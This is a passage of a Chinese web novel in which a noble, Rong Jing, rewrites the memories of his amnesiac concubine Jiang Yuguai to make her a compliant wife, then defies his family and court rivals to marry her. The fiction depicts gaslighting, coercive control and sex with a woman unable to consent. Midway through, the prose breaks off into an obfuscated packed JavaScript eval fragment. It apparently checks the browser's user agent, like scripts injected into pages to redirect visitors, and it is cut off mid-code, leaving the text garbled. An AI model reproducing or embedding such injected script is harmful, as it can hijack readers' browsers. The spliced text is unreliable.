却也永远失去了那个会恨他,怕他,骗他,甚至偶尔让他觉得生动鲜明的姜于归。 一丝极淡的,几乎无法捕捉的波动,掠过容璟深不见底的眼眸。 那并非怜惜,也非悔意,更像是一个顶尖棋手,在逼死对手所有棋子后,却发现棋盘中央最重要的那颗将或帅,自己碎裂成了齑粉。 游戏结束了。 以一种完全超出规则,也超出他所有预期的方式。 他缓缓站起身,走到窗边,望向汀兰水榭的方向。 暮色四合,那里灯火已初上,晕开一团温顺而孤寂的光晕。 猎手伫立原地,望着那具已无灵魂的躯壳。 忽然觉得,这胜利的滋味,索然无味到了极点。 甚至......有点冷。 容璟站在窗前,望着夜色,眼底那片空茫的冷意逐渐沉淀,被另一种更为幽暗,更为熟悉的情绪覆盖——掌控。 失控只是刹那的错觉,棋局并未结束,只是换了一种他更擅长的玩法。 他转身,眼神已恢复沉静,唤来长青。 “汀兰水榭所有人,包括秋实和素馨,即刻调离,一个不留。从我院里调拨一批新人过去,要干净,嘴严,从不知晓夫人‘生病’前事的。” 他的声音平稳无波,仿佛在安排一件最寻常的庶务。 “将水榭内外彻底清理,夫人旧日所有私人物件,尤其书籍,字画,零碎玩意儿,全部封存入库。她常待的地方,按她现在喜好,重新布置。” 长青心领神会,垂首领命:“是。” “另外。” 容璟顿了顿,指尖无意识的抚过腰间玉佩:“让库房挑几匹颜色鲜亮柔软的料子,几样精巧不扎眼的新首饰,一并送去。” “是。” 命令迅速而彻底地执行,一夜之间,汀兰水榭如同被水洗过,再无半分旧日痕迹。 秋实和素馨被无声调走,新来的丫鬟低眉顺眼,手脚麻利,对这位“大病初愈”的夫人只有恭敬,没有探究。 次日午后,容璟踏入水榭。 室内窗明几净,熏着宁神的淡香,阳光透过新换的茜纱,洒在铺着柔软锦垫的榻上。 姜于归靠在那里,身上是簇新的藕荷色衫裙,墨发松松挽着,插着一支他吩咐送来的珍珠步摇。 她正望着窗外出神,侧影单薄,眼神空濛,像一尊被精心擦拭过,却忘了点睛的玉像。 听见脚步声,她缓缓转过头,目光落在他身上,停留片刻,里面是全然的陌生和一丝孩童般的茫然。 容璟走到她面前,俯身,伸手轻轻拂开她颊边一缕不存在的碎发,动作是刻意演练过的温柔。 “醒了?感觉可好些?”他声音低沉,带着恰到好处的担忧。 姜于归微微睁大了眼,似乎为他话语中的关切感到惊讶。 她眨了眨眼,迟疑地,缓慢地开口,声音因久未言语而有些干涩:“你......是谁?” 容璟的心湖几不可察地动了一下,不是涟漪,是冰层下暗流的确认。 他顺势在榻边坐下,握住她微凉的手,拢在掌心,用指腹极其缓慢的摩挲着她细腻的手背。 他的目光锁住她茫然的眼瞳,一字一句,清晰而缓慢,如同将楔子钉入柔软的木头:“我是你的夫君,容璟。” 在姜于归略显惊讶的眼神中,他加深了眼底那抹刻意酝酿的深情:“而你,是姜于归,是我心爱的妻子,我们一直很恩爱。” 姜于归懵懂的看着他,嘴唇微动,似乎想说什么,却发不出声音。 她眼中掠过一丝极淡的挣扎,像困在水底的人试图抓住浮光,但那光芒太飘忽,四周的水又太厚重浑浊。 容璟不给她整理思绪的机会,继续用那种平稳,笃定,不容置疑的语调,编织他的现实:“你前些日子生了场很重的大病,高烧不退,昏睡了许久。御医说,这病伤了心神,可能会忘掉一些事。” 他握着她的手紧了紧,传递着虚假的温暖和力量:“别怕,忘了就忘了,我记得就好,我会一直陪着你,把一切都慢慢告诉你。” 他说话时,一直凝视着她的眼睛,不放过任何一丝反应。 姜于归眼中的挣扎渐渐淡去,被一种更深的迷茫取代。 她环顾四周,崭新的摆设,陌生的丫鬟,还有眼前这个自称是她夫君,眼神深情而担忧的英俊男人......她找不到任何可以反驳的线索。 记忆是一片空白,而这片空白,正被他用温柔而强势的话语,一点点填满。 她看着他,很久,终于,极其轻微的点了点头。 不是信任,而是一种在绝对空白和唯一解释面前,无能为力的接受。 容璟的嘴角,几不可察地弯了一下。 那不是一个笑容,而是猎手看到陷阱终于合拢时,冰冷的满意。 后面的日子,果然平静如水。 姜于归像个最听话的学生,接受着容璟为她重建的一切。 她开始认得他是夫君,会在他来看她时,露出浅浅的,依赖般的微笑。 她不再追问过去,偶尔对某些事流露出困惑,只要容璟用温柔肯定的语气重复我们一直如此,她便不再深究。 新来的丫鬟们谨记命令,言行谨慎,绝口不提任何过去。 她们伺候得周到,口中只有世子对夫人真好,夫人今日气色更佳了之类的话。 这座水榭,成了被精心隔离出来的温室,里面只有容璟允许生长的现实。 床笫之间,亦是如此。 最初的僵硬和懵懂过后,在容璟引导下,姜于归变得顺从,甚至......配合。 她不再有从前的紧绷,隐忍或偶尔泄出的恨意,也不再有如第二次逃离后那段日子里,即便温顺也残留的细微抗拒。 如今,她是全然敞开的,茫然的,却也是毫无保留地接受他给予的一切。 烛火摇曳,帐内温度攀升。 容璟看着身下之人迷离的眼,听着她无意识发出的,细碎而陌生的嘤咛,感受着那种毫无隔阂的,近乎吞噬般的接纳...... 一种前所未有的,极度膨胀的快意,混合着冰冷刺骨的掌控感,席卷了他的四肢百骸。 他达到了某种顶峰。 不仅仅是欲望的,更是权力和掌控欲的。 他成功的抹去了一个不屈的灵魂,又亲手塑造了一个完全属于他的,温顺的空白。 他在这片空白上肆意书写,绘制他想要的图景,而她全然接纳,甚至给出懵懂的反应。 这感觉,比他经历过的任何一场朝堂胜利,任何一次算计成功,都要来得强烈,来得......餍足。 然而,在这极致快活的巅峰,在这汗水交融,呼吸灼热的时刻,容璟心底最深处,那一片连他自己都未曾完全窥探的冰原上,悄然裂开一道细微的缝隙。 一丝难以言喻的,空荡荡的冷风,钻了进来。 快活是真的。 但这快活之下,仿佛踩着无尽的虚空。 容璟将这丝不期然的寒意归咎于夜深露重。 他抽身而起,披上寝衣,回望榻上倦极昏睡的人。 姜于归呼吸轻浅,面容在残存的烛晕里显出近乎稚嫩的平静,仿佛方才那场足以焚毁理智的欢爱,于她而言不过是一场无关紧要的梦游。 她的顺从太彻底,太......空洞。 像一具被抽去了筋骨的精美人偶,任他摆布出任何姿态,内里却无半分应和的震颤。 容璟眸色微沉,伸手替她掖好被角,指尖拂过她汗湿的鬓发时,几不可察地顿了顿。 真空般的平静并未持续太久。 几日后的一个晌午,汀兰水榭陡然传出一阵瓷器碎裂的脆响,紧接着是丫鬟压抑的惊呼。 容璟赶到时,只见姜于归蜷在窗边的软榻角落,双臂死死环抱着自己,浑身抖得如同秋风中的落叶。 她面前的地上,是一只打翻的甜白瓷盅,冰镇莲子羹洒了一地,莹白的莲子滚得到处都是。 新来的大丫鬟碧荷跪在一旁,脸色煞白,额角被飞溅的瓷片划了道小口子,正渗着血珠。 “怎么回事?”容璟声音不高,却让室内本就凝滞的空气又降了几度。 碧荷慌忙叩头,声音发颤:“回,回世子......夫人方才还好好的,用了半盏茶,奴婢端上这冰羹,刚说了句‘这是您从前最爱的’,夫人她......她就像被魇住了似的,猛地挥手打翻了羹盅,然后......然后就成这样了......奴婢也不知哪句话说错了......” “从前......最爱......” 容璟的目光落在那些滚动的莲子上,眼底掠过一丝了然的幽暗。 莲子......她从前的确爱吃,是去岁夏末,她尚未病时,小厨房常做的点心。这丫鬟无意间触及了被严令封存的从前。 他挥了挥手,示意碧荷和其他人退下。 室内只剩下他们两人。姜于归的颤抖渐渐平息,却依旧蜷缩着,眼神涣散地望着虚空某处,唇色苍白。 容璟走上前,没有立刻碰触她,只是在她面前缓缓蹲下,视线与她齐平。 “于归。” 他唤她,声音是刻意放软的温和:“看看我。” 姜于归眼珠极慢的转动了一下,焦距艰难的落在他脸上,里面是一片未散的惊悸和更深的迷茫。 容璟抬手,用指腹极其轻柔地拭去她眼角不知何时渗出的湿意:“只是一碗羹,不喜欢,我们以后不吃了。忘了它,好不好?” 他的话语像带着某种催眠的力量,眼神专注地锁着她,试图将她从那种莫名的恐惧中拖拽出来,重新拉回他编织的,安全的现在。 姜于归看着他,很久,空茫的眼神里缓缓注入一丝属于当下的认知。 她极轻地眨了眨眼,嘴唇发出微弱的气音:“夫......君?” “嗯,是我。” 容璟这才伸手,将她小心地拥入怀中,感觉到她单薄的身躯依旧有些僵硬,但不再抗拒。 “不怕了,没事了。” 他一下下拍着她的背,如同安抚受惊的孩童,眼底却一片冰冷的清明。 看来的清理还不够彻底,任何一丝与从前有关的细节,都可能成为惊扰这潭死水的石子。 风浪看似平息,但老夫人那里,却不会一直风平浪静。 又过了些时日,这日容璟不在汀兰水榭,寿安堂那边递来了话,话是老嬷嬷亲自来传的,语气恭敬,意思却不容婉拒:“老夫人说,侧夫人身子既已见好,久不出门请安,恐于礼不合,也失了晚辈的孝道。所以还请侧夫人务必过去一趟,老夫人惦念着呢。” 病了许久,在老夫人看来,或许是恃宠生娇的托词,是需要敲打的骄纵苗头。 而姜于归安静的坐着,眼神温顺地落在妆奁里一支玉簪上,对老嬷嬷的话似乎听而不闻,毫无反应,似乎并不理解是什么意思。 但老夫人身边的嬷嬷都亲自前来,再以孝道和礼数相压,姜于归不得不去。 于是姜于归被仔细装扮一番,由碧荷和另一个大丫鬟扶着,去了寿安堂。 厅堂内檀香袅袅,老夫人端坐上首,穿着赭色万寿纹常服,头发梳得一丝不苟,手里捻着一串佛珠,面容严肃,目光如炬般落在缓缓走进来的姜于归身上。 姜于归依着碧荷紧急教导的模糊印象,缓缓行礼,动作有些生涩迟缓,声音也低低的:“给......祖母请安。” 她记得容璟教过,要叫祖母。 老夫人听见这个和以往不一样的称呼,微微蹙了蹙眉,没立刻叫起,目光在她身上打量了几个来回,从姜于归依旧略显苍白但难掩清丽的面容,到她身上显然由容璟精心挑选的,质地名贵却颜色素雅的衣裙,最后落在她那双清澈却空洞的眼睛上。 “起来吧。” 老夫人终于开口,声音不大,却带着久居上位的威仪:“听说你前阵子病得凶险,如今看着,气色倒是比传闻中好些。既是好了,往后晨昏定省,不可再缺。为人妾室,首要便是谨守本分,知晓尊卑,侍奉夫君,孝敬长辈。你可记下了?” 妾室,本分,尊卑...... 这几个词像生硬的石子,突兀的砸进姜于归混沌一片的脑海。 她怔怔的抬头,看向老夫人,又茫然的看了看身边垂首肃立的碧荷,最后,眼底慢慢浮起一层清晰的困惑。 夫君......容璟......他说,他们是恩爱夫妻,她是他的妻子...... 可这位严肃的祖母,为什么口口声声说着妾室?还有本分,尊卑...... 这些词,和夫君温柔讲述的恩爱故事,似乎......不太一样? 一种模糊的,却极其不适的割裂感,悄悄在姜于归空茫的心底滋生。 她张了张嘴,想说什么,却不知该如何组织语言,只能无意识地重复着听到的词:“妾......室?” 老夫人见她这副茫然懵懂,甚至有些失神的模样,眉头几不可察地一皱,心中更认定了她是借病装痴,试图逃避规矩,脸色不由沉了两分,语气也加重了些。 “怎么?连自己的身份都忘了?姜氏,你虽是潜玉抬举,记作侧夫人,但终究是妾!莫要以为潜玉宠着你,你便可忘了根本,失了进退!” “侧室......妾......” 姜于归喃喃着,眼中的困惑越来越浓,那股不适的割裂感逐渐变得尖锐。 她想起容璟温热的手掌,深情的眼眸,笃定的话语,你是我的心爱之人。可耳边响着的,却是妾室,本分,尊卑...... 两种声音在脑海里冲撞,拉扯着她刚刚建立起不久的,脆弱的认知世界。 碧荷见势不妙,冷汗都快下来了,忙在一旁小声提醒:“夫人,老夫人教诲,您应下便是。” 姜于归却仿佛没听见,她只是看着老夫人,看着那张严肃的,带着明显不悦和审视的脸,一种源自本能的不安和抗拒越来越强烈。 她开始微微摇头,脚步无意识地向后挪了一小步,嘴唇颤抖着,破碎的音节逸出。 “不......不是......夫君说......是妻......恩爱......” 老夫人闻言,先是一愣,随即眼中陡然迸出惊怒交加的火光! “放肆!” 佛珠重重拍在案几上,发出沉闷的响声:“哪个教你如此狂悖胡言?!妻?凭你也配?!姜氏,我看你是病糊涂了,连人话都听不懂了!来人——” “祖母息怒。” 一道清润平静的嗓音,适时在门口响起。 容璟不知何时已站在了那里,霁青色常服,身姿挺拔如竹,面上带着惯常的温润浅笑,只是那笑意未达眼底。 他缓步走进来,目光先落在脸色苍白,眼神混乱的姜于归身上一瞬,随即转向老夫人,姿态恭谨,语气却带着不容错辨的维护。 “于归她病体初愈,神思有时仍不清明,若有言行冒犯祖母,皆是孙儿照拂不周之过。祖母要训导,训导孙儿便是,莫要与她一个病人计较,免得气坏了身子。” 他走到姜于归身边,极其自然的伸手揽住她微微发抖的肩膀,将她半护在身侧,指尖安抚地在她臂上按了按。 姜于归感受到熟悉的温度和气息,混乱的心神仿佛找到了浮木,下意识地往他身边靠了靠,但眼中的困惑与惊悸并未褪去,只是愣愣地看着容璟线条冷硬的下颌。 老夫人看着容璟这副明显护短的姿态,胸中怒气更炽,但对着这个心思深沉,羽翼渐丰的孙子,到底不能像对姜于归那样直接叱骂。 她强压下怒火,冷声道:“潜玉!你看看她这个样子!神思清明?我看她是恃宠生娇,装疯卖傻!什么妻不妻的胡话都敢往外说!我们荣国公府的门楣,还要不要了?你的名声,还要不要了?!” 容璟面色不变,甚至唇角那抹笑意还深了些,只是眼底寒意凝聚。 他微微低头,看向怀中依旧茫然无措的姜于归,抬手,用指背极其轻柔地蹭了蹭她冰凉的脸颊,声音不高,却清晰地传入在场每个人耳中。 “祖母言重了,于归并非胡言,她只是......记起了该记的事。” 他抬眼,迎上老夫人震惊的目光,语气平淡,却字字如惊雷。 “孙儿正欲禀明祖母,于归大病期间,孙儿痛彻心扉,深感过往对她多有亏欠。既已认定她是我此生唯一心爱之人,便不该让她始终屈居侧室之位。孙儿已决意,禀明父亲母亲,开宗祠,行礼仪,正式娶于归为妻。” 老夫人猛的吸了一口气,像是被鱼刺卡住了喉咙,脸上的皱纹因震惊和暴怒而剧烈颤抖。 “你,你说什么?!” 她的声音陡然拔高,尖利得几乎破音:“开宗祠?娶为正妻?!容潜玉,你是不是也跟她一样疯了?!” 她猛的站起身,手指几乎要戳到容璟脸上,保养得宜的指甲微微发颤。 “她是什么身份?!一个市井出身,来历不明的孤女!给你做妾已是天大的造化!你竟要让她做荣国公府的世子夫人?将来还要做国公夫人,一品诰命?你是要把容家列祖列宗的脸都丢尽吗?!” 老夫人胸口剧烈起伏,额角的青筋都隐隐浮现。 她转向姜于归,眼神像淬了毒的刀子:“你看看她!看看她这副痴傻的模样!连句整话都说不清楚,日后如何替你主持中馈?如何交际应酬?如何为你生养嫡子嫡女?!你让她坐在那个位置上,是等着整个盛京的贵眷都来看我们容家的笑话吗?!” 她说着,目光死死钉在姜于归那张依旧茫然的脸上,心头翻涌的除了怒火,更有一种被愚弄的强烈耻辱。 “当初她刚入府时,我还觉得她是个好的!看着温顺安静,得了你的青眼也不见她如何张扬跋扈,没有那些妾室惯有的轻狂谄媚!我还当她是个知进退,懂本分的!” 老夫人的声音因为激动和失望而更加尖锐,每个字都像是从齿缝里磨出来的:“现在看来,哪里是什么本分!分明是藏得够深,心机够重!早早就算计好了,要用这副楚楚可怜的样子把你迷得神魂颠倒,好一步步爬上那不该她坐的位置!如今更是装疯卖傻,来博你怜惜,逼你为她不顾一切!” 老夫人越说越激动,声音带着压抑多年的威仪和此刻翻涌的恐慌:“我告诉你,只要我还有一口气在,这事儿你想都别想!侧室就是侧室,永远别想爬到正妻头上!你若是执意要抬举她,好,那你就先从我身上踏过去!我倒要看看,你有没有这个胆子背上不孝的罪名!” 话音落下,荣寿堂内空气几乎凝成冰。 碧荷和几个嬷嬷早已吓得跪倒在地,连头都不敢抬。 姜于归似乎也被这突如其来的激烈冲突吓到了,下意识的往容璟怀里缩了缩,眼神更加茫然无措。 容璟却依旧神色平静。 他甚至没有理会老夫人那番激烈的斥责,只是将怀里的人护得更稳了些,然后,缓缓抬起眼,迎上老夫人几乎要喷出火的目光。 那双深邃的眸子里,没有半分被冒犯的怒意,也没有丝毫动摇的迟疑,只有一片沉静的,近乎冷酷的坚定。 “祖母息怒。” 容璟开口,声音甚至比刚才更温和了些,却带着一种不容置疑的力度:“孙儿知道祖母顾虑。门第之见,确是阻碍。” 他顿了顿,在老夫人陡然变得铁青的脸色和难以置信的瞪视中,继续抛下更重的话,一字一句,清晰无比。 “所以,为免门第之议,孙儿已恳请京兆府尹顾守正顾大人,收于归为义女,顾大人仁厚,念及于归身世孤苦,又与孙儿情深,已然应允。不日文书便可送至府中备案。届时,于归便是堂堂正正的京兆尹府义女,顾家小姐。以如此身份,嫁入我荣国公府为世子正妻,门当户对,名正言顺。” 他微微偏头,目光落在姜于归依旧懵懂的脸上,语气里甚至带上了一丝若有似无的,近乎温柔的笃定。 “如此,祖母所忧之门第,出身,非议......皆可化解。无人,再能置喙半句。” 话音落下。 厅堂内,死一般的寂静。 老夫人手中的佛珠“啪嗒——”一声掉在地上,滚了几滚,停在容璟脚边。 她张着嘴,像是离水的鱼,那双原本因愤怒而精光四射的眼睛里,此刻只剩下巨大的,空白的震惊,以及一丝......慢慢浮上来的,近乎惊惧的寒意。 她看着容璟,看着他那张温润如玉却写满不容更改决断的脸,又看看他怀中那个眼神空洞,仿佛对这场因她而起的风暴毫无所觉的姜于归。 一口气死死堵在胸口,眼前阵阵发黑。 疯了......真是疯了! 为了一个来历不明,如今还疯疯傻傻的女人,他竟敢......竟敢谋划至此!连当朝三品大员,手掌京畿治安刑名的京兆尹都被他搬了出来! 这哪里是商量?这分明是通知!是早已算计好了一切,连退路和借口都给她——不,是给所有可能反对的人,彻底堵死了! 什么痛彻心扉,深感亏欠......全都是借口!他就是要这个疯女人,不计代价,不择手段! 老夫人的身体晃了晃,一旁的嬷嬷眼疾手快地上前扶住,才没让她当场晕厥过去。 “你......你......” 老夫人指着容璟,手指都在发抖,半晌,才从牙缝里挤出破碎的音节:“孽障!你眼里可还有祖宗家法,可还有我这祖母?!” 容璟弯腰,拾起那串佛珠,双手恭敬地递还到老夫人面前,姿态无可挑剔,声音依旧平稳。 “祖母息怒,保重身体。孙儿心中,自然敬重祖母,恪守家法。正因如此,才更要给心爱之人一个堂堂正正的名分,以免将来子孙后代,提及母亲出身,有所遗憾。此事,孙儿心意已决。” 他不再看老夫人几乎要晕厥过去的脸色,揽着姜于归,微微颔首:“于归身子不适,孙儿先带她回去歇息,改日再来向祖母请罪。” 说罢,他不再停留,拥着浑浑噩噩的姜于归,转身,步伐沉稳地离开了寿安堂。 留下身后一室冰封的震怒,与即将席卷整个国公府的滔天巨浪。 而被他半扶半抱带走的姜于归,自始至终,没能完全理解刚才发生的一切。 她只隐约感觉到,抱着她的这个男人,似乎为了她,做了一件很厉害,也很可怕的事情。 而妾与妻的疑惑,像一颗被强行按入水底的石头,并未消失,反而在心底那片混沌的淤泥中,沉得更深,硌得更疼了。 一只粉彩琉璃盏被狠狠掼在地上,迸裂成无数晶亮碎片。 “他怎么能......他怎么能娶那个贱人为妻?!” 永福脸色惨白,胸口剧烈起伏,眼泪却倔强地含在眼眶里:“我去求了母妃,去求了父皇,他们都不肯为我做主......凭什么!我是公主!那个姜于归算什么东西!” 贴身宫女战战兢兢地收拾碎片,低声劝慰:“殿下息怒,容世子他......或许是昏了头......” “昏了头?” 永福猛的转头,眼中射出怨毒的光:“他是故意的!他就是要用这种方式羞辱我,告诉全天下,他宁愿娶个疯子,也不要我!” 说罢,永福抓起案上一柄玉梳,指甲几乎掐进玉里:“好!好......容潜玉,你不仁,休怪我不义!” 同一时间,睿王府书房。 永嘉公主坐在下首,脸色阴沉得能滴出水。 睿王李昭琰负手站在窗前,看着庭院里嶙峋的假山。 “四弟,机会来了。” 永嘉声音冰冷:“容潜玉这次是真的疯了。为了个妾室,闹到要开宗祠娶正妻,还把顾守正扯进来做遮羞布。这可是以妾为妻,紊乱纲常的大罪!” 睿王转过身,面容俊美却带着阴鸷:“顾守正那个老狐狸,居然肯趟这浑水?” 永嘉冷笑:“谁知道容潜玉许了他什么好处,但无论如何,这是打击东宫气焰的绝佳机会。太子不是一直标榜自己重用德行兼备之臣吗?他手下最得力的干将做出这等荒唐事,看他如何自圆其说!” 睿王沉吟片刻,眼中精光一闪:“弹劾的折子,你来安排御史去写。不必只盯着以妾为妻,要往大了说,容璟恃宠而骄,蔑视礼法,其行狂悖,不堪为朝臣表率。更要暗示,此等荒唐之事,东宫竟一味袒护,恐有失察之过。” 永嘉嘴角勾起一抹狠厉的笑:“四弟放心,我知道怎么做。定要让他容潜玉,吃不了兜着走!” 两日后,朝会,太极殿。 气氛肃穆而微妙。 几位御史先后出列,言辞激烈,弹劾荣国公世子容璟宠妾灭妻之嫌,行事狂悖,紊乱纲常,更有人暗指京兆尹顾守正阿附权贵,混淆血脉,有失大臣体统。 龙椅上的皇帝面色沉静,看不出喜怒。 东宫属官立刻出言反驳,称顾大人仁厚,收姜氏为义女,乃成人之美,容世子与现在的顾氏女两情相悦,婚事合乎礼仪,更将此事拔高到佳话层面。 太子适时出列,姿态温文却坚定:“父皇,容卿为国效力,屡立功勋,私德虽有争议,然姜氏本是良家女,现在又是顾家小姐,婚事便属正当。若因此小事苛责功臣,恐寒了将士之心。” 他这番话,既维护了容璟,又将反对声音定性为苛责功臣,政治手腕娴熟。 龙椅上的皇帝目光扫过殿下众人,在容璟平静无波的脸上停留一瞬,又掠过太子沉稳的面容,最后缓缓开口,声音带着帝王的疲惫与不容置疑。 “容璟婚事,既已合乎礼制,便属私事。顾卿收义女,乃仁义之举。此事,不必再议。” 退朝后,东宫偏殿。 太子赐坐,亲自为容璟斟了杯茶,他语气温和,带着恰到好处的体恤:“潜玉,今日之事,委屈你了。” 容璟微微欠身:“臣行事不妥,给殿下添麻烦了。” 太子摆手,笑容加深:“你是我东宫股肱,我不护着你,谁护着你?只是......” 他顿了顿,语气转为推心置腹的担忧:“永嘉睿王那边,绝不会善罢甘休。他们动不了你,恐怕会从......顾氏女身上做文章。她如今身份不同,更需小心保护。” 容璟抬眼,与太子目光相对,看到了那温和笑容下的审视与算计。 容璟声音平稳:“殿下提醒的是,内子体弱,不经风波。臣会妥善安置,不让她人扰了清净。” “那就好。” 太子满意地点头,仿佛真的只是关心:“你有软肋是好事,说明你是个有血有肉的真性情之人,只是这软肋,也需格外看顾,莫要成了别人攻讦你的利器。” 这话说得巧妙,既是安抚,也是警告。 容璟垂眸,掩去眼底一丝冰冷的讥诮:“臣,明白。” 步出东宫,容璟抬眼看天。 盛京的天空,一如既往的灰蓝高远,却又仿佛笼罩着一层无形的,令人窒息的网。 朝堂上的风波暂时平息,因皇帝的默许和东宫的力保,也因那纸已归档的顾家义女文书,让弹劾失去了最有力的支点。 但永福的怨恨,永嘉睿王的敌意,东宫那看似维护实则暗藏控制的关怀,都已如实质般压来。 而他知道,真正的风暴,不在朝堂,而在那座他即将踏入的,名为家的战场。 父亲容修远,母亲安宁郡主,怕是已经在等他了。 荣国公是连夜从京郊大营被老夫人十万火急的书信催回来的。 踏入府门时,天已微明。 他未换朝服,一身玄色劲装犹带夜露寒气,径直入了书房。 郡主母亲倒是迟了一日,在收到消息后,才仿佛想起自己还有个荣国公世子之母的身份,然后才坐着她那辆奢华却轻佻的翠盖马车,姗姗而归。 回来也未先去拜见气得病倒的老夫人,反而先让人去汀兰水榭打听了一番那未来儿媳的模样。 正式的家庭会议,设在次日晚膳后的荣禧堂正厅。 气氛凝重得能拧出水。 老夫人坐在上首,脸色灰败,由嬷嬷搀着,手中佛珠捻得飞快。 荣国公坐在左首,面沉如水,久经沙场的肃杀之气即便在常服下也压迫感十足。 安宁郡主坐在右首,一身海棠红缕金裙,妆容精致,指尖把玩着一枚通透的玉佩,神色间带着一种事不关己的慵懒与探究。 容璟是独自来的。 他走进来时,步履平稳,霁青色直裰纤尘不染,眉眼温润如常,仿佛只是来参加一场寻常家宴。 他向座上三人依次行礼,姿态无可挑剔。 “逆子!你还敢来!” 荣国公猛的一拍案几,上好的紫檀木发出沉闷巨响,茶盏跳动。 他目光如电,直刺容璟:“你干的好事!为了个来路不明,还得了失心疯的女人,你要开宗祠,娶为正妻?你眼里可还有祖宗,可还有我这个父亲?!” 容璟直起身,迎上父亲暴怒的视线,脸上没有畏惧,也没有激动,只有一片深潭般的平静。 “父亲息怒。” 他开口,声音清晰平稳:“于归并非来路不明,她已是京兆尹顾守正大人的义女,顾家小姐。婚事一切依礼而行,并未辱没门楣。” 荣国公冷笑,眼中尽是讥讽:“顾守正的义女?这种掩耳盗铃的把戏,骗得了外人,骗得了你自己吗?潜玉,我教过你,为大事者,岂能困于儿女私情?何况是一个......一个那样的女子!她如何能担当宗妇之责?你让满朝文武,让东宫,如何看待你?一个被女色所迷,行事癫狂的世子,未来如何承袭爵位,光大门楣?!” 句句质问,砸在空旷的厅堂里,回音都是冰冷的利益权衡。 容璟静静听完,忽然极轻的笑了一下,那笑意未达眼底,反而让他整张脸透出一股寒气。 “父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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荣国公额角青筋暴跳,瞪着郡主,却一时噎住。 老夫人气得浑身发抖,指着郡主:“你......你混账!说的什么胡话!” 容璟却依然平静,他看着母亲那双与自己有几分相似,却写满疏离与嘲讽的眼睛,心中那片冰原,似乎连最后的微弱暖意也彻底消散了。 他想起自己曾对那个如今已痴傻的女人说过的话,我母亲更早便看透了这府里真情不过是笑话......我们母子,一年也见不上几面,见面亦是客套疏离。 原来,这便是答案。 一种彻骨的,传承自血脉的冰冷与扭曲。 他缓缓开口,声音不高,却带着一种尘埃落定的决绝,回答了母亲,也像是说给自己听。 “母亲说的是,这府里,真情原是奢求。懂事,有用,不出错,远比做一个渴求怜爱的孩子要紧。真情是软肋,是麻烦,是会被轻易舍弃的东西。” 他顿了顿,目光扫过面色各异的双亲,最后望向厅外浓重的黑暗,那里仿佛有汀兰水榭一点孤灯。 “所以,儿子如今,只想抓住眼前能抓住的,实实在在的。至于其他......” 他收回目光,重新看向暴怒的父亲和冷笑的母亲,唇角极细微地弯了一下,那是一个没有任何温度的弧度。 “至于门楣,风险,他人如何看待......与儿子何干?” 说罢,他再次躬身一礼,不再看任何人,转身,步履依旧平稳地,走出了这令人窒息的正厅,走向那片他亲手为自己和那个痴傻女子打造的,与世隔绝的,也是唯一属于他的真实。 留下身后,一室破碎的体面,与再也无法弥合的家族裂痕。 这场风暴,于容璟而言,才刚刚开始,也或许,在某个层面,已经结束。 他彻底斩断了与正常家族伦理的最后一丝粘连,从此,他的世界法则,只由他一人书写。 而被他紧紧攥在手中的姜于归,无论是作为挚爱还是藏品,都已成为他背离整个旧世界的,唯一的航标与祭品。 婚事的筹备,在一种近乎诡异的平静中推进。 汀兰水榭日日有人进出,量体裁衣的绣娘,打造首饰的匠人,送来各样喜庆摆设的管事...... 容璟甚至亲自过目了喜服的纹样,定下鸳鸯莲叶的图式,寓意恩爱不移,连绵不绝。 姜于归像个最精致的偶人,被众人摆布着试穿,试戴。 大红的锦缎衬得她肤色愈发苍白,沉重的珠冠压得她纤细的脖颈微微低垂。 她偶尔会茫然地抬起手,指尖拂过嫁衣上冰凉光滑的绣纹,眼神空洞,不知在想什么,或许,什么都没想。 容璟有时会在一旁看着,目光沉静。 他会走过去,亲手为她调整一下歪斜的步摇,或是指尖轻触她腕上将要佩戴的龙凤镯,温声道:“喜欢吗?” 姜于归总是迟缓的抬眸,看着他,然后极轻地点一下头,或是发出一个模糊的音节。 没有新嫁娘的娇羞喜悦,也没有被迫的怨恨恐惧,只有一片深不见底的,被抽离了所有情感的茫然。 这份茫然,奇异的取悦了容璟。 他要的就是这个。一个完全属于他定义的世界,连喜怒哀乐都由他赋予或剥夺的妻子。 然而,这份他强力维持的平静水面之下,暗流从未止息。 最先感受到实质压力的,是容璟本人。 来自父亲容修远的阻力,直接而具体。 先是府库调用受阻,紧接着,几位与他或有旧怨,或与父亲交好的御史开始上书,虽未指名道姓,但功臣子弟耽于私情,罔顾公义,内帷不修何以安邦之类的词句,句句直指他筹备婚事以来的懈怠。 皇帝虽留中不发,但态度暧昧,足以让东宫属官捏一把汗,也让容璟明白,父亲在朝中的能量不容小觑。 容璟的反应是迅速而强硬的。 他不再试图从府库获取任何资源,直接动用了青龙台的隐秘渠道和皇帝私下赏赐的私产,甚至通过顾守正的关系,从南方采买更珍贵稀有的物件。 他要在财力与排场上,彻底压过父亲设置的障碍,宣告自己的独立与不容干涉。 也正是在容璟应对父亲施压,分身乏术之际,容琅的机会来了。 京郊大营,主帅大帐,气氛肃杀。 容修远刚听完几位老部将隐晦的提醒,关于世子因婚事可能延误公务,身边人行事可疑等流言,脸色阴沉得能滴出水。 他对长子的不满,已从荒唐升级为失职与潜在危险。 就在这时,容琅捧着军需文书求见。 帐内几位老将尚未离去,看着容琅一丝不苟的行礼,清晰条理的汇报,眼中不自觉流露出对比之色。 当容修远压抑着怒火,挥手让老将们退下后,帐内只剩下父子二人。 容琅没有立刻离开,而是上前一步,声音恳切:“父亲息怒,保重身体要紧。大哥他......或许只是一时情迷心窍,绝非有意懈怠公务,更非不孝。祖母病中忧思,儿子愿每日去祠堂跪经祈福,一则为大哥告罪,二则祈求父亲与祖母身体安康。” 他垂着头,姿态谦卑到了尘埃里,每一句话却都精准地戳在容修远此刻最痛的点上,公务懈怠,不孝,累及祖母。 容修远看着这个一贯沉默寡言,办事却稳妥细致的儿子,再想想那个为了个疯女人闹得家宅不宁,朝野侧目的容璟,胸中那股郁结之气更盛。 他没有说话,只是那审视的目光,在容琅身上停留了许久,久到容琅背脊都渗出冷汗,才缓缓移开,几不可闻地叹了口气。 这声叹息里,有疲惫,有失望,也有一丝......不易察觉的动摇。 